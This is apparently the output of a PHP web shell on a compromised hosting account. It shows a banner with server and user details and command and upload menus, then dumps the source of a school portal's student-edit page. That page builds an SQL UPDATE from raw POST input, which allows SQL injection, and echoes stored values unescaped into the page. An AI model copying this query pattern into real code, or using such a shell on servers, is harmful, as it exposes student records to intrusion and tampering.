|
Server IP : 2a02:4780:3:2287:0:3736:a38e:8 / Your IP : 216.73.216.244 Web Server : LiteSpeed System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/../evisioninfotech.in/public_html/id/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include 'db.php'; ?>
<?php
if(!isset($_SESSION['studentData']))
{
echo"<script>window.location='index.php';</script>";
exit;
}
$studentData = json_decode($_SESSION['studentData'],true);
$student_id = $studentData['id'];
$school_id = $studentData['school_id'];
$sel_student = mysqli_query($con,"select * from students where id=$student_id");
$row_data = mysqli_fetch_array($sel_student);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Student Details Edit</title>
<link rel="shortcut icon" href="dist/img/AdminLTELogo.png" type="image/x-icon">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
<link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
<!-- DataTables -->
<link rel="stylesheet" href="plugins/datatables-bs4/css/dataTables.bootstrap4.min.css">
<link rel="stylesheet" href="plugins/datatables-responsive/css/responsive.bootstrap4.min.css">
<link rel="stylesheet" href="plugins/datatables-buttons/css/buttons.bootstrap4.min.css">
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<link rel="stylesheet" href="plugins/tempusdominus-bootstrap-4/css/tempusdominus-bootstrap-4.min.css">
<link rel="stylesheet" href="plugins/icheck-bootstrap/icheck-bootstrap.min.css">
<link rel="stylesheet" href="plugins/jqvmap/jqvmap.min.css">
<link rel="stylesheet" href="dist/css/adminlte.min.css">
<link rel="stylesheet" href="plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="plugins/daterangepicker/daterangepicker.css">
<link rel="stylesheet" href="plugins/summernote/summernote-bs4.min.css">
<link rel="stylesheet" href="dist/css/style.css">
<style type="text/css">
.main-header,.main-footer {
margin: 0!important;
}
</style>
</head>
<body class="hold-transition sidebar-mini layout-fixed">
<div class="wrapper">
<div class="preloader flex-column justify-content-center align-items-center">
<img class="animation__shake" src="dist/img/AdminLTELogo.png" alt="AdminLTELogo" height="60" width="60">
</div>
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav pull-right">
<li class="nav-item">
<a href="logout.php" class="nav-link"><small><i class="fas fa-sign-out-alt"></i> Logout</small></a>
</li>
</nav>
<section class="content mt-4">
<div class="container-fluid">
<div class="row">
<div class="col-md-12">
<?php include('alert-msg.php'); ?>
<div class="alert alert-success success-msg" role="alert" style="display:none;"></div>
<div class="alert alert-danger error-msg" role="alert" style="display:none;"></div>
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">Student Details</h3>
</div>
<div class="card-body">
<form action="" method="POST" enctype="multipart/form-data" class="frmUploadPhotos">
<div class="profile-header-container">
<div class="profile-header-img">
<img class="img-circle img-photos" src="<?php echo $row_data['photos']; ?>" alt="Student Photos" />
<div class="rank-label-container">
<button type="button" class="btn btn-sm label label-default rank-label btnProfileUpdate">Edit</button>
</div>
<input type="file" class="d-none fileProfileUpdate" name="fileProfileUpdate" accept=".png, .jpg, .jpeg" />
<input type="hidden" name="id" value="<?php echo $student_id; ?>" />
</div>
</div>
</form>
<form action="" method="POST" enctype="multipart/form-data">
<div class="row">
<div class="col-md-4">
<div class="form-group">
<label>Student Name</label>
<input type="text" class="form-control" name="name" required value="<?php echo $row_data['name']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Father Name</label>
<input type="text" class="form-control" name="father_name" value="<?php echo $row_data['father_name']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Mother Name</label>
<input type="text" class="form-control" name="mother_name" value="<?php echo $row_data['mother_name']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Class</label>
<select class="form-control class" name="class" required>
<option value="">--Select--</option>
</select>
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Division</label>
<select class="form-control division" name="division" required value="<?php echo $row_data['name']; ?>">
<option value="">--Select--</option>
</select>
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Roll Number</label>
<input type="text" class="form-control" name="roll_number" value="<?php echo $row_data['roll_number']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Registration Number</label>
<input type="text" class="form-control" name="reg_no" value="<?php echo $row_data['reg_no']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>DOB</label>
<input type="date" class="form-control" name="dob" required value="<?php echo $row_data['dob']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Gender</label>
<input type="text" class="form-control" name="gender" value="<?php echo $row_data['gender']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Blood Group</label>
<input type="text" class="form-control" name="blood_group" value="<?php echo $row_data['blood_group']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Address</label>
<textarea class="form-control" name="address"><?php echo $row_data['address']; ?></textarea>
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Phone</label>
<input type="number" class="form-control" name="phone" required value="<?php echo $row_data['phone']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Designation</label>
<input type="text" class="form-control" name="designation" value="<?php echo $row_data['designation']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Year of the Id card</label>
<input type="text" class="form-control" name="card_year" value="<?php echo $row_data['card_year']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Admission Number</label>
<input type="text" class="form-control" name="admission_num" value="<?php echo $row_data['admission_num']; ?>" />
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>STS Number</label>
<input type="text" class="form-control" name="sts" value="<?php echo $row_data['sts']; ?>" />
</div>
</div>
</div>
<button type="submit" class="btn btn-primary" name="btnSubmit">Submit</button>
</form>
</div>
</div>
</div>
</div>
</div>
</section>
<footer class="main-footer">
<strong>Copyright © 2014-<?php echo Date('Y'); ?> <a href="https://evisioninfotech.in/" target="_blank">e Vision Infotech</a>.</strong>
All rights reserved.
<div class="float-right d-none d-sm-inline-block">
<b>Powered by - <a href="https://evisioninfotech.in/" target="_blank">e Vision Infotech</a>.</b>
</div>
</footer>
<aside class="control-sidebar control-sidebar-dark">
</aside>
</div>
<script src="plugins/jquery/jquery.min.js"></script>
<script src="plugins/jquery-ui/jquery-ui.min.js"></script>
<script>
$.widget.bridge('uibutton', $.ui.button)
</script>
<script src="plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables & Plugins -->
<script src="plugins/datatables/jquery.dataTables.min.js"></script>
<script src="plugins/datatables-bs4/js/dataTables.bootstrap4.min.js"></script>
<script src="plugins/datatables-responsive/js/dataTables.responsive.min.js"></script>
<script src="plugins/datatables-responsive/js/responsive.bootstrap4.min.js"></script>
<script src="plugins/datatables-buttons/js/dataTables.buttons.min.js"></script>
<script src="plugins/datatables-buttons/js/buttons.bootstrap4.min.js"></script>
<script src="plugins/jszip/jszip.min.js"></script>
<script src="plugins/pdfmake/pdfmake.min.js"></script>
<script src="plugins/pdfmake/vfs_fonts.js"></script>
<script src="plugins/datatables-buttons/js/buttons.html5.min.js"></script>
<script src="plugins/datatables-buttons/js/buttons.print.min.js"></script>
<script src="plugins/datatables-buttons/js/buttons.colVis.min.js"></script>
<script src="plugins/jqvmap/jquery.vmap.min.js"></script>
<script src="plugins/jqvmap/maps/jquery.vmap.usa.js"></script>
<script src="plugins/jquery-knob/jquery.knob.min.js"></script>
<script src="plugins/moment/moment.min.js"></script>
<script src="plugins/daterangepicker/daterangepicker.js"></script>
<script src="plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js"></script>
<script src="plugins/summernote/summernote-bs4.min.js"></script>
<script src="plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="dist/js/adminlte.js"></script>
<script src="dist/js/demo.js"></script>
<script src="dist/js/pages/dashboard.js"></script>
<script>
$(function () {
$(".main_datatables").DataTable({
"responsive": true, "lengthChange": false, "autoWidth": false,
"buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"]
}).buttons().container().appendTo('.dataTables_wrapper .col-md-6:eq(0)');
});
</script>
<script type="text/javascript">
var url = window.location;
$('ul.nav-sidebar a').filter(function() {
return this.href == url;
}).addClass('active');
$('ul.nav-treeview a').filter(function() {
return this.href == url;
}).parentsUntil(".nav-sidebar > .nav-treeview").addClass('menu-open').prev('a').addClass('active');
$(function () {
$('.text_editor').summernote({
height: 200
});
});
$(function () {
$('.text_editor1').summernote({
height: 350
});
});
</script>
<script type="text/javascript">
$.ajax({
type : "POST",
url : "get-class-division.php",
data : {school_id:<?php echo $school_id; ?>},
beforeSend : function() {
},
success : function(response) {
let res = JSON.parse(response);
$(".division").html(res['division_data']);
$(".class").html(res['class_data']);
$(".division").val("<?php echo $row_data['division']; ?>");
$(".class").val("<?php echo $row_data['class']; ?>");
}
});
</script>
<script type="text/javascript">
$(".btnProfileUpdate").click(function(){
$(this).parents(".profile-header-img").find(".fileProfileUpdate").click();
/*$(".success-msg").fadeOut();
$(".error-msg").fadeOut();*/
});
$(".fileProfileUpdate").on('change', function(){
$(".frmUploadPhotos").submit();
});
$(".frmUploadPhotos").on('submit',(function(e) {
e.preventDefault();
let photos_fields = $(this).find(".img-photos");
$.ajax({
url: "update-student-photos1.php",
type: "POST",
data: new FormData(this),
contentType: false,
cache: false,
processData:false,
beforeSend : function()
{
$(".success-msg").fadeOut();
$(".error-msg").fadeOut();
},
success: function(response)
{
let res = JSON.parse(response);
if(res['code']=='100')
{
photos_fields.attr("src",res['path']);
$(".success-msg").html(res['msg']).fadeIn();
}
else
{
$(".error-msg").html(res['msg']).fadeIn();
}
},
error: function(e)
{
$(".error-msg").html(e).fadeIn();
}
});
}));
</script>
</body>
</html>
<?php
if(isset($_POST['btnSubmit']))
{
$name = $_POST['name'];
$father_name = $_POST['father_name'];
$mother_name = $_POST['mother_name'];
$roll_number = $_POST['roll_number'];
$reg_no = $_POST['reg_no'];
$dob = $_POST['dob'];
$blood_group = $_POST['blood_group'];
$class = $_POST['class'];
$division = $_POST['division'];
$address = $_POST['address'];
$designation = $_POST['designation'];
$phone = $_POST['phone'];
$card_year = $_POST['card_year'];
$admission_num = $_POST['admission_num'];
$gender = $_POST['gender'];
$sts = $_POST['sts'];
$upd = mysqli_query($con,"UPDATE students set name='$name', father_name='$father_name', mother_name='$mother_name', roll_number='$roll_number', reg_no='$reg_no', dob='$dob', blood_group='$blood_group', class='$class', division='$division', address='$address', designation='$designation', phone='$phone', card_year='$card_year', admission_num='$admission_num', gender='$gender', sts='$sts' where id=$student_id");
if($upd)
{
$_SESSION['success_msg'] = 'Your details has been updated...';
echo"<script>window.location='student-edit.php';</script>";
}
else
{
$_SESSION['error_msg'] = 'Unable to update your details...';
echo"<script>window.location='student-edit.php';</script>";
}
}
?>